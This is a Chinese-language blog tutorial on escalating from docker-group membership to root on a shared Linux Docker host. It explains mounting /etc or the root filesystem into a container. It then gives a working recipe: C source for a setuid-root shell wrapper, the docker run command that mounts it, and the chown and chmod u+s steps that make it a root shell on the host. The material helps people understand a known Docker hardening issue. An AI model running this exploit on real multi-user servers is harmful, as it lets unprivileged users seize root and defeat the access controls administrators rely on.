多用户环境 Docker 服务器提权

设想一个环境:同一台 Docker 服务器,使用多用户管理。作为普通用户只有 Docker 组权限,那么如何使用这个 Docker 组权限提权到服务器的 root 权限?

其实这种情况非常普遍,但是以前没有实际想过或者操作过。最近正好有了环境,于是测试一下。

原理

我们知道,想用 Docker 来管理容器,不需要 root,只需要把用户加入到 Docker 组即可

Docker 客户端是通过一个套接字接口来进行管理的,看一下套接字的权限

srw-rw---- 1 root docker 0 4月 26 04:36 docker.sock

之所以 Docker 组用户可以操作,因为套接字文件属组是 Docker 组,权限也是 rw

但是事实上,Docker Daemon 本身就是 root 用户进行管理,理所当然的,创建的容器中当然可以有 root 权限了

那么,容器里面的这个 root,能给我们外面的机器带来怎么样的效果?

提权

映射提权

Linux 用户管理主要就是 /etc/passwd/etc/group/etc/shadow 了,那么我们直接映射这几个到容器里面,甚至映射整个 /etc 到容器里面,用容器内的 root 来对用户进行操作,不就可以了?

再想一想,你都可以映射 /etc 了,为何不直接映射根目录进去?(x

(操作有风险,整活需谨慎)

SUID 提权

映射目录确实有点吓人,而且看起来很不稳,那么有没有稳定的办法来提权呢?

Linux 有个神奇的东西,叫 SUID

SUID 属性一般用在可执行文件上,当用户执行该文件时,会临时拥有该执行文件的所有者权限

这样,我们可以在容器内,使用容器的 root 来创建一个有 SUID 位的可执行文件,再执行 shell,不就可以了?

在宿主机编译一个可执行文件

#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    system("/bin/zsh");
    // system("/bin/bash");

    return 0;
}
gcc test.c -o test

起一个容器,把编译出来的可执行文件映射进去

docker run -it -d --name=escalation -v ${PWD}:/tmp debian:10

然后更改可执行文件属主,添加 SUID 位

chown root.root test
chmod u+s test

看下权限,应该已经变成这样了

-rwsrwxr-x 1 root root 16792 5月 26 04:22 test

然后这个容器的使命结束了,我们可以直接在宿主机上执行这个 test 文件来达到提权效果

发表评论

发表回复

*

沙发空缺中,还不快抢~